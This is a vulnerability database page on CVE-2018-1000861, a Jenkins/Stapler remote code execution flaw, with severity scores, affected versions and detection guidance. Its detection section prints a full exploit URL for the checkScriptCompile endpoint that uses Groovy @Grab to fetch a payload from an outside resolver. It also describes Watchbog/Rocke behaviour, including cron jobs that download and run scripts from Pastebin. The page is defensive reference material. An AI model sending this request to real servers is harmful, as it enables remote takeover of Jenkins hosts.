cbcvebase.
CVE-2018-1000861
published 2018-12-10

CVE-2018-1000861: A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in…

PriorityP198critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2022-08-10
Exploited in the wild
EPSS
98.48%
99.9th percentile
A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.

Affected

8 ranges
VendorProductVersion rangeFixed in
jenkinscredentials_plugin
jenkinsjenkins<= 2.138.3
jenkinsjenkins<= 2.153
jenkinsjenkins_core
jenkinsjenkins_lts
jenkinsjenkins_weekly
jenkinsldap_plugin
redhatopenshift_container_platform

Detection & IOCsextracted from sources · hover to see the quote

url{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;
  • Detect exploitation attempts by monitoring HTTP GET requests to the Jenkins checkScriptCompile endpoint with Groovy @Grab annotations in the value parameter, which is the known exploit path for CVE-2018-1000861.
  • Match HTTP response body containing 'package#vulntest' as a positive indicator of successful CVE-2018-1000861 exploitation via the checkScriptCompile endpoint.
  • Use the Fortinet IPS signature 'Jenkins.Script.Plugin.Authenticated.Remote.Command.Execution' to detect Jenkins exploit traffic related to CVE-2018-1000861.
  • Detect Watchbog/Rocke post-exploitation by monitoring for the presence of a process named 'kerberods' or the binary at /usr/sbin/kerberods, which is the primary dropper deployed after Jenkins exploitation.
  • Detect Watchbog lateral movement by monitoring for high-volume outbound SSH traffic from a single host, indicative of SSH known_hosts-based spreading.
  • Detect Rocke/Watchbog scanning activity by monitoring for Python scripts that scan for open Jenkins (port 8080) and Redis (port 6379) ports on the local subnet, followed by curl/wget to Pastebin URLs.
  • Detect Rocke/Watchbog persistence by monitoring for cron jobs that periodically download and execute scripts from Pastebin URLs (pastebin.com/raw/*), which is the primary C2 mechanism.
  • Detect mining proxy traffic to systemten.org on port 51640 as an indicator of Rocke cryptomining activity post-exploitation of CVE-2018-1000861.
  • ·The exploit path targets the CpsFlowDefinition/checkScriptCompile endpoint specifically; other Stapler-routed URLs may also be exploitable but are not enumerated in the sources. The attack surface is described as vast with unknown additional attack vectors.
  • ·Pastebin C2 URLs used by Watchbog/Rocke change every few days, making static URL-based detection unreliable; behavioral detection of Pastebin outbound connections from servers is more durable.
  • ·Several Pastebin C2 URLs referenced in the Watchbog investigation were already inaccessible at time of analysis, limiting their value as live IOCs.
  • ·Red Hat rates this vulnerability as Important (not Critical) for OpenShift Container Platform 3.x because exploitation requires developer permissions in that context, unlike the unauthenticated attack paths possible in standalone Jenkins.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
cisa9.8CRITICAL
vendor_redhat9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.